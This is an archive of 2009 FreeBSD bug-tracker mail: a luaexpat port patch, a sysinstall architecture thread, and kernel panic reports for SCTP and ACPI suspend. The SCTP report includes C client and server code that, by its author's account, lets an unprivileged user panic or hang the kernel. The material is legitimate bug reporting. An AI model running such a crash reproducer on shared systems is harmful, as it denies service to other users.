[IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0AD911065672 for ; Wed, 15 Jul 2009 13:20:04 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id C03AB8FC1D for ; Wed, 15 Jul 2009 13:20:03 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6FDK3G4053458 for ; Wed, 15 Jul 2009 13:20:03 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6FDK3XJ053457; Wed, 15 Jul 2009 13:20:03 GMT (envelope-from gnats) Resent-Date: Wed, 15 Jul 2009 13:20:03 GMT Resent-Message-Id: <200907151320.n6FDK3XJ053457@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Andrew Lewis Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0AC931065677 for ; Wed, 15 Jul 2009 13:12:59 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id EA6E48FC1A for ; Wed, 15 Jul 2009 13:12:58 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6FDCw1C068474 for ; Wed, 15 Jul 2009 13:12:58 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6FDCwuE068473; Wed, 15 Jul 2009 13:12:58 GMT (envelope-from nobody) Message-Id: <200907151312.n6FDCwuE068473@www.freebsd.org> Date: Wed, 15 Jul 2009 13:12:58 GMT From: Andrew Lewis To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136789: Update port: textproc/luaexpat - Respect $CC X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jul 2009 13:20:04 -0000 >Number: 136789 >Category: misc >Synopsis: Update port: textproc/luaexpat - Respect $CC >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Jul 15 13:20:03 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Andrew Lewis >Release: 7.1-RELEASE-p6 >Organization: Private >Environment: FreeBSD foo.bar 7.1-RELEASE-p6 FreeBSD 7.1-RELEASE-p6 #4: Wed Jun 24 14:25:56 UTC 2009 toor@foo.bar:/usr/obj/usr/src/sys/ADAMANTIUM71 i386 >Description: Patch to make textproc/luaexpat respect $CC per http://www.freebsd.org/doc/en/books/porters-handbook/dads-cc.html May require following patch to apply cleanly: http://www.freebsd.org/cgi/query-pr.cgi?pr=ports/136786 >How-To-Repeat: >Fix: Patch attached with submission follows: --- /usr/ports/textproc/luaexpat/files/patch-config.orig 2009-07-15 12:21:14.000000000 +0000 +++ /usr/ports/textproc/luaexpat/files/patch-config 2009-07-15 12:21:52.000000000 +0000 @@ -37,4 +37,4 @@ -CFLAGS = $(CWARNS) -ansi -O2 -I$(LUA_INC) \ +CFLAGS += $(CWARNS) -ansi -O2 -I$(LUA_INC) \ -I$(COMPAT_DIR) -I$(EXPAT_INC) - CC = gcc + CC ?= gcc >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Wed Jul 15 14:10:03 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EDA111065675 for ; Wed, 15 Jul 2009 14:10:03 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id C1B108FC1F for ; Wed, 15 Jul 2009 14:10:03 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6FEA3gX093827 for ; Wed, 15 Jul 2009 14:10:03 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6FEA37o093826; Wed, 15 Jul 2009 14:10:03 GMT (envelope-from gnats) Date: Wed, 15 Jul 2009 14:10:03 GMT Message-Id: <200907151410.n6FEA37o093826@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org From: Andrew Lewis Cc: Subject: Re: misc/136789: Update port: textproc/luaexpat - Respect $CC X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Andrew Lewis List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jul 2009 14:10:04 -0000 The following reply was made to PR misc/136789; it has been noted by GNATS. From: Andrew Lewis To: bug-followup@freebsd.org Cc: Subject: Re: misc/136789: Update port: textproc/luaexpat - Respect $CC Date: Wed, 15 Jul 2009 16:07:49 +0200 I'm sorry, this should be category: ports, class: maintainer-update From owner-freebsd-bugs@FreeBSD.ORG Wed Jul 15 17:01:20 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 92AE81065673; Wed, 15 Jul 2009 17:01:20 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 686118FC1C; Wed, 15 Jul 2009 17:01:20 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6FH1KC0033202; Wed, 15 Jul 2009 17:01:20 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6FH1Kmm033198; Wed, 15 Jul 2009 17:01:20 GMT (envelope-from linimon) Date: Wed, 15 Jul 2009 17:01:20 GMT Message-Id: <200907151701.n6FH1Kmm033198@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-bugs@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: ports/136789: Update port: textproc/luaexpat - Respect $CC X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jul 2009 17:01:20 -0000 Synopsis: Update port: textproc/luaexpat - Respect $CC Class-Changed-From-To: sw-bug->maintainer-update Class-Changed-By: linimon Class-Changed-When: Wed Jul 15 17:00:53 UTC 2009 Class-Changed-Why: fix category and class. http://www.freebsd.org/cgi/query-pr.cgi?pr=136789 From owner-freebsd-bugs@FreeBSD.ORG Wed Jul 15 18:30:06 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B8097106564A for ; Wed, 15 Jul 2009 18:30:06 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id A67028FC08 for ; Wed, 15 Jul 2009 18:30:06 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6FIU6x2096983 for ; Wed, 15 Jul 2009 18:30:06 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6FIU6eT096980; Wed, 15 Jul 2009 18:30:06 GMT (envelope-from gnats) Date: Wed, 15 Jul 2009 18:30:06 GMT Message-Id: <200907151830.n6FIU6eT096980@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org From: Yuriy Glukhov Cc: Subject: Re: amd64/136161: sysinstall installs wrong architecture X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Yuriy Glukhov List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jul 2009 18:30:07 -0000 The following reply was made to PR bin/136161; it has been noted by GNATS. From: Yuriy Glukhov To: John Baldwin Cc: freebsd-amd64@freebsd.org, freebsd-gnats-submit@freebsd.org Subject: Re: amd64/136161: sysinstall installs wrong architecture Date: Wed, 15 Jul 2009 20:57:14 +0300 Yes, after booting from a pen drive "uname -a" displays amd64 arch. If the arch is hard-coded to sysinstall, could it be that the wrong sysinstall is installed on the pen-drive? I'm not sure if the sysinstall just copies itself during the installation or it downloads itself with another packages from ftp. In second case it could be explained with an incorrect ftp distribution. Best regards, Yuriy Glukhov. On Jul 13, 2009, at 6:40 PM, John Baldwin wrote: > On Monday 29 June 2009 10:42:22 am Yuriy Glukhov wrote: >> >>> Number: 136161 >>> Category: amd64 >>> Synopsis: sysinstall installs wrong architecture >>> Confidential: no >>> Severity: non-critical >>> Priority: medium >>> Responsible: freebsd-amd64 >>> State: open >>> Quarter: >>> Keywords: >>> Date-Required: >>> Class: sw-bug >>> Submitter-Id: current-users >>> Arrival-Date: Mon Jun 29 14:50:00 UTC 2009 >>> Closed-Date: >>> Last-Modified: >>> Originator: Yuriy Glukhov >>> Release: 7.2 >>> Organization: >>> Environment: >> FreeBSD test.localdomain 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Fri >> May 1 > 07:18:07 UTC 2009 > root@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 >>> Description: >> 1. Install an amd64 distribution on a USB pen drive. >> 2. Install the pen drive to a Xeon server. >> 3. Boot from the pen drive. >> 4. Run sysinstall, and install (standard installation) the OS to >> the local > HDD, using one of FreeBSD FTPs. >> 5. Remove the pen drive and boot from the HDD with newly installed >> system. >> 6. Observe the uname -a. >> >> Actual result: the architecture is i386. >> Expected result: the architecture should be amd64. > > Are you sure you had amd64 on the pen drive (verified with uname - > a). The > arch to install is hard-coded into the sysinstall binary at build > time such > that an amd64 sysinstall can only install an amd64 release. > > -- > John Baldwin From owner-freebsd-bugs@FreeBSD.ORG Wed Jul 15 21:00:06 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 71A5F106567B for ; Wed, 15 Jul 2009 21:00:06 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 4AC5B8FC1F for ; Wed, 15 Jul 2009 21:00:06 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6FL06MB014638 for ; Wed, 15 Jul 2009 21:00:06 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6FL06vp014637; Wed, 15 Jul 2009 21:00:06 GMT (envelope-from gnats) Resent-Date: Wed, 15 Jul 2009 21:00:06 GMT Resent-Message-Id: <200907152100.n6FL06vp014637@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Valentin Nechayev Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 13BD31065729 for ; Wed, 15 Jul 2009 20:51:31 +0000 (UTC) (envelope-from netch@segfault.kiev.ua) Received: from segfault.kiev.ua (segfault.kiev.ua [193.193.193.4]) by mx1.freebsd.org (Postfix) with ESMTP id AF8568FC15 for ; Wed, 15 Jul 2009 20:51:29 +0000 (UTC) (envelope-from netch@segfault.kiev.ua) Received: from segfault.kiev.ua (localhost.segfault.kiev.ua [127.0.0.1]) by segfault.kiev.ua (8.14.3/8.14.3/8.Who.Cares) with ESMTP id n6FKdnM0003518; Wed, 15 Jul 2009 23:39:49 +0300 (EEST) (envelope-from netch@segfault.kiev.ua) Received: (from netch@localhost) by segfault.kiev.ua (8.14.3/8.14.3/Submit) id n6FKdne2003515; Wed, 15 Jul 2009 23:39:49 +0300 (EEST) (envelope-from netch) Message-Id: <200907152039.n6FKdne2003515@segfault.kiev.ua> Date: Wed, 15 Jul 2009 23:39:49 +0300 (EEST) From: Valentin Nechayev To: FreeBSD-gnats-submit@FreeBSD.org X-Send-Pr-Version: 3.113 Cc: Subject: kern/136803: Kernel panic and hanging on using SCTP X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Valentin Nechayev List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jul 2009 21:00:07 -0000 >Number: 136803 >Category: kern >Synopsis: Kernel panic and hanging on using SCTP >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Jul 15 21:00:05 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Valentin Nechayev >Release: FreeBSD 7.2-RELEASE i386 >Organization: private >Environment: FreeBSD 7.2-RELEASE / i386 FreeBSD 7.2-RELEASE-p1 / i386 >Description: A small test was written to expose some standard SCTP using. When running, approx. at 3-5-th client connect kernel is crashing to panic or hanging without any reaction to keyboard or network. Programs weren't started under root:) and couldn't give any side effect to system. I have got kernel crash vmcore, kgdb shows: === cut === Unread portion of the kernel message buffer: panic: hashdestroy: hash not empty Uptime: 1d13h5m9s (kgdb) bt #0 doadump () at pcpu.h:196 #1 0xc0536730 in boot (howto=260) at /usr/BSD/src/sys/kern/kern_shutdown.c:418 #2 0xc0536931 in panic (fmt=Variable "fmt" is not available. ) at /usr/BSD/src/sys/kern/kern_shutdown.c:574 #3 0xc053d211 in hashdestroy (vhashtbl=0xc5a29400, type=0xc07d46c0, hashmask=31) at /usr/BSD/src/sys/kern/kern_subr.c:415 #4 0xc0638383 in sctp_inpcb_free (inp=0xc3d43cc0, immediate=0, from=1) at /usr/BSD/src/sys/netinet/sctp_pcb.c:3419 #5 0xc0643e24 in sctp_close (so=0xc58e0340) at /usr/BSD/src/sys/netinet/sctp_usrreq.c:623 #6 0xc0589be3 in soclose (so=0xc58e0340) at /usr/BSD/src/sys/kern/uipc_socket.c:667 #7 0xc057121b in soo_close (fp=0xc44ce2f8, td=0xc59aed20) at /usr/BSD/src/sys/kern/sys_socket.c:273 #8 0xc05015d3 in fdrop (fp=0xc44ce2f8, td=0xc59aed20) at file.h:300 #9 0xc0502b7f in closef (fp=0xc44ce2f8, td=0xc59aed20) at /usr/BSD/src/sys/kern/kern_descrip.c:2036 #10 0xc0503d75 in fdfree (td=0xc59aed20) at /usr/BSD/src/sys/kern/kern_descrip.c:1745 #11 0xc0511378 in exit1 (td=0xc59aed20, rv=256) at /usr/BSD/src/sys/kern/kern_exit.c:284 #12 0xc051271d in sys_exit (td=Could not find the frame base for "sys_exit". ) at /usr/BSD/src/sys/kern/kern_exit.c:110 #13 0xc0759685 in syscall (frame=0xe37bbd38) at /usr/BSD/src/sys/i386/i386/trap.c:1090 #14 0xc0746c30 in Xint0x80_syscall () at /usr/BSD/src/sys/i386/i386/exception.s:255 #15 0x00000033 in ?? () === end cut === >How-To-Repeat: Code for test server and test client is attached in unformatted part. Start server in one terminal, then run client a few times in another terminal. >Fix: >Release-Note: >Audit-Trail: >Unformatted: Server code: === cut === #include #include #include #include #include #include #include #include #include #include static int server(int s, struct sockaddr* sa, socklen_t sl) { char host[200]; char service[100]; int gni = getnameinfo(sa, sl, host, sizeof(host), service, sizeof(service), NI_NUMERICHOST|NI_NUMERICSERV); if (gni == 0) { printf("Connect from %s:%s\n", host, service); } else { printf("Address error: %s\n", gai_strerror(gni)); close(s); return; } struct sctp_sndrcvinfo sinfo; // Send greeting memset(&sinfo, 0, sizeof(sinfo)); sinfo.sinfo_stream = 1234; if (sctp_send(s, "hi", 2, &sinfo, 0) < 0) err(1, "sctp_send"); // XXX close(s); } int main() { struct sockaddr_in sia; int ss = -1; ss = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); if (ss < 0) err(1, "socket(SCTP)"); memset(&sia, 0, sizeof(sia)); sia.sin_family = AF_INET; sia.sin_addr.s_addr = htonl(0x7F000001); sia.sin_port = htons(5210); if (bind(ss, (struct sockaddr*)&sia, sizeof(sia)) < 0) err(1, "bind()"); if (listen(ss, 1) < 0) err(1, "listen()"); printf("Started to listen, ss=%d\n", ss); for(;;) { socklen_t sl; int sconn; sl = sizeof(sia); sconn = accept(ss, (struct sockaddr*)&sia, &sl); if (sconn < 0) { warn("accept()"); usleep(20000); continue; } server(sconn, (struct sockaddr*)&sia, sl); } // UNREACHED return 0; } === end cut === Client code: === cut === #include #include #include #include #include #include #include #include #include #include int main() { struct sockaddr_in sia; int ss = -1; struct sctp_sndrcvinfo sinfo; int rflags; char buf[200]; ss = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); if (ss < 0) err(1, "socket(SCTP)"); memset(&sia, 0, sizeof(sia)); sia.sin_family = AF_INET; sia.sin_addr.s_addr = htonl(0x7F000001); sia.sin_port = htons(5210); if (connect(ss, (struct sockaddr*)&sia, sizeof(sia)) < 0) err(1, "connect()"); printf("Connected\n"); if (sctp_recvmsg(ss, buf, sizeof(buf), NULL, 0, &sinfo, &rflags) < 0) err(1, "recvmsg()"); printf("Got data for stream %u\n", (unsigned) sinfo.sinfo_stream); close(ss); return 0; } === end cut === Kernel config (for machine where hanged): === cut === cpu I686_CPU ident nn72 # To statically compile in device wiring instead of /boot/device.hints #hints "GENERIC.hints" # Default places to look for devices. makeoptions DEBUG=-g # Build kernel with gdb(1) debug symbols options SCHED_ULE # ULE scheduler options PREEMPTION # Enable kernel thread preemption options INET # InterNETworking options INET6 options SCTP # Stream Control Transmission Protocol options FFS # Berkeley Fast Filesystem options SOFTUPDATES # Enable FFS soft updates support options UFS_ACL # Support for access control lists options UFS_DIRHASH # Improve performance on big directories options UFS_GJOURNAL # Enable gjournal-based UFS journaling options NFSCLIENT # Network Filesystem Client options NFSSERVER # Network Filesystem Server options NFSLOCKD # Network Lock Manager options MSDOSFS # MSDOS Filesystem options CD9660 # ISO 9660 Filesystem options PROCFS # Process filesystem (requires PSEUDOFS) options PSEUDOFS # Pseudo-filesystem framework options GEOM_PART_GPT # GUID Partition Tables. options GEOM_LABEL # Provides labelization options COMPAT_43TTY # BSD 4.3 TTY compat [KEEP THIS!] options COMPAT_FREEBSD4 # Compatible with FreeBSD4 options COMPAT_FREEBSD5 # Compatible with FreeBSD5 options COMPAT_FREEBSD6 # Compatible with FreeBSD6 options SCSI_DELAY=5000 # Delay (in ms) before probing SCSI options KTRACE # ktrace(1) support options STACK # stack(9) support options SYSVSHM # SYSV-style shared memory options SYSVMSG # SYSV-style message queues options SYSVSEM # SYSV-style semaphores options _KPOSIX_PRIORITY_SCHEDULING # POSIX P1003_1B real-time extensions options KBD_INSTALL_CDEV # install a CDEV entry in /dev options ADAPTIVE_GIANT # Giant mutex is adaptive. options STOP_NMI # Stop CPUS using NMI instead of IPI options AUDIT # Security event auditing options KDTRACE_HOOKS # Kernel DTrace hooks # To make an SMP kernel, the next two lines are needed options SMP # Symmetric MultiProcessor Kernel device apic # I/O APIC # CPU frequency control device cpufreq # Bus support. device eisa device pci # Floppy drives device fdc # ATA and ATAPI devices device ata device atadisk # ATA disk drives device ataraid # ATA RAID drives device atapicd # ATAPI CDROM drives options ATA_STATIC_ID # Static device numbering # SCSI peripherals device scbus # SCSI bus (required for SCSI) device da # Direct Access (disks) device cd # CD device pass # Passthrough device (direct SCSI access) device atapicam # atkbdc0 controls both the keyboard and the PS/2 mouse device atkbdc # AT keyboard controller device atkbd # AT keyboard device psm # PS/2 mouse device kbdmux # keyboard multiplexer device vga # VGA video card driver device splash # Splash screen and screen saver support # syscons is the default console driver, resembling an SCO console device sc device agp # support several AGP chipsets # Power management support (see NOTES for more options) #device apm # Add suspend/resume support for the i8254. device pmtimer # Serial (COM) ports device sio # 8250, 16[45]50 based serial ports device uart # Generic UART driver # PCI Ethernet NICs that use the common MII bus controller code. # NOTE: Be sure to keep the 'device miibus' line in order to use these NICs! device miibus # MII bus support # Pseudo devices. device loop # Network loopback device random # Entropy device device ether # Ethernet support device pty # Pseudo-ttys (telnet etc) device md # Memory "disks" device gif # IPv6 and IPv4 tunneling device firmware # firmware assist module # The `bpf' device enables the Berkeley Packet Filter. # Be aware of the administrative consequences of enabling this! # Note that 'bpf' is required for DHCP. device bpf # Berkeley packet filter # Mandatory: device apic # I/O apic device speaker #Play IBM BASIC-style noises out your speaker options INCLUDE_CONFIG_FILE # Include this file in kernel options MSGBUF_SIZE=131072 options NETGRAPH # netgraph(4) system options IPFIREWALL #firewall options IPFIREWALL_VERBOSE #enable logging to syslogd(8) options IPFIREWALL_VERBOSE_LIMIT=100 #limit verbosity options IPFIREWALL_DEFAULT_TO_ACCEPT #allow everything by default options IPFIREWALL_FORWARD #packet destination changes options IPDIVERT #divert sockets options DUMMYNET options SC_HISTORY_SIZE=1200 # number of history buffer lines options SC_MOUSE_CHAR=0x3 # char code for text mode mouse cursor === end cut === From owner-freebsd-bugs@FreeBSD.ORG Wed Jul 15 22:49:57 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8BA93106564A; Wed, 15 Jul 2009 22:49:57 +0000 (UTC) (envelope-from amdmi3@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 6197B8FC12; Wed, 15 Jul 2009 22:49:57 +0000 (UTC) (envelope-from amdmi3@FreeBSD.org) Received: from freefall.freebsd.org (amdmi3@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6FMnvCl098080; Wed, 15 Jul 2009 22:49:57 GMT (envelope-from amdmi3@freefall.freebsd.org) Received: (from amdmi3@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6FMnvGq098076; Wed, 15 Jul 2009 22:49:57 GMT (envelope-from amdmi3) Date: Wed, 15 Jul 2009 22:49:57 GMT Message-Id: <200907152249.n6FMnvGq098076@freefall.freebsd.org> To: amdmi3@FreeBSD.org, freebsd-bugs@FreeBSD.org, amdmi3@FreeBSD.org From: amdmi3@FreeBSD.org Cc: Subject: Re: ports/136789: Update port: textproc/luaexpat - Respect $CC X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jul 2009 22:49:57 -0000 Synopsis: Update port: textproc/luaexpat - Respect $CC Responsible-Changed-From-To: freebsd-bugs->amdmi3 Responsible-Changed-By: amdmi3 Responsible-Changed-When: Wed Jul 15 22:49:56 UTC 2009 Responsible-Changed-Why: I'll take it. http://www.freebsd.org/cgi/query-pr.cgi?pr=136789 From owner-freebsd-bugs@FreeBSD.ORG Wed Jul 15 22:50:03 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3B9FD1065672 for ; Wed, 15 Jul 2009 22:50:03 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 148438FC16 for ; Wed, 15 Jul 2009 22:50:03 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6FMo2Ud098170 for ; Wed, 15 Jul 2009 22:50:02 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6FMo2oi098169; Wed, 15 Jul 2009 22:50:02 GMT (envelope-from gnats) Resent-Date: Wed, 15 Jul 2009 22:50:02 GMT Resent-Message-Id: <200907152250.n6FMo2oi098169@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Alexander Best Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0C2461065675 for ; Wed, 15 Jul 2009 22:44:18 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id EB7568FC1A for ; Wed, 15 Jul 2009 22:44:17 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6FMiHnL090137 for ; Wed, 15 Jul 2009 22:44:17 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6FMiHGF090136; Wed, 15 Jul 2009 22:44:17 GMT (envelope-from nobody) Message-Id: <200907152244.n6FMiHGF090136@www.freebsd.org> Date: Wed, 15 Jul 2009 22:44:17 GMT From: Alexander Best To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: kern/136808: [acpi] panic when switching to s3 X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jul 2009 22:50:03 -0000 >Number: 136808 >Category: kern >Synopsis: [acpi] panic when switching to s3 >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Jul 15 22:50:02 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Alexander Best >Release: 8.0-BETA2 >Organization: >Environment: FreeBSD otaku 8.0-BETA2 FreeBSD 8.0-BETA2 #4 r195712M: Wed Jul 15 22:31:17 CEST 2009 root@otaku:/usr/obj/usr/src/sys/ARUNDEL i386 >Description: when switching to s3 a panic occurs. attached you'll find a textdump. cheers. alex >How-To-Repeat: `acpiconf -s 3` >Fix: Patch attached with submission follows: otaku dumped core - see /var/crash/vmcore.0 Thu Jul 16 00:22:29 CEST 2009 FreeBSD otaku 8.0-BETA2 FreeBSD 8.0-BETA2 #4 r195712M: Wed Jul 15 22:31:17 CEST 2009 root@otaku:/usr/obj/usr/src/sys/ARUNDEL i386 panic: mutex ACPI global lock owned at /usr/src/sys/kern/kern_event.c:1758 GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-marcel-freebsd"... Unread portion of the kernel message buffer: panic: mutex ACPI global lock owned at /usr/src/sys/kern/kern_event.c:1758 cpuid = 0 KDB: stack backtrace: db_trace_self_wrapper(c07d8831,e7a70b58,c05ca649,c07fb1c6,0,...) at db_trace_self_wrapper+0x26 kdb_backtrace(c07fb1c6,0,c07d3f2e,e7a70b64,0,...) at kdb_backtrace+0x29 panic(c07d3f2e,c0b57932,c07d0847,6de,e7a70b88,...) at panic+0x119 _mtx_assert(c0b5e7a0,0,c07d0847,6de,e7a70bb8,...) at _mtx_assert+0x127 knlist_mtx_assert_unlocked(c0b5e7a0,c05bb413,c0b5e7a0,54,c7b6c354,...) at knlist_mtx_assert_unlocked+0x29 knote(c7b6c35c,0,0,922,0,...) at knote+0x3a acpi_ReqSleepState(c71dac00,3,c7208760,3,c7bd3240,...) at acpi_ReqSleepState+0x115 devfs_ioctl_f(c7c0f930,80045004,c7208760,c7555c00,c7bd3240,...) at 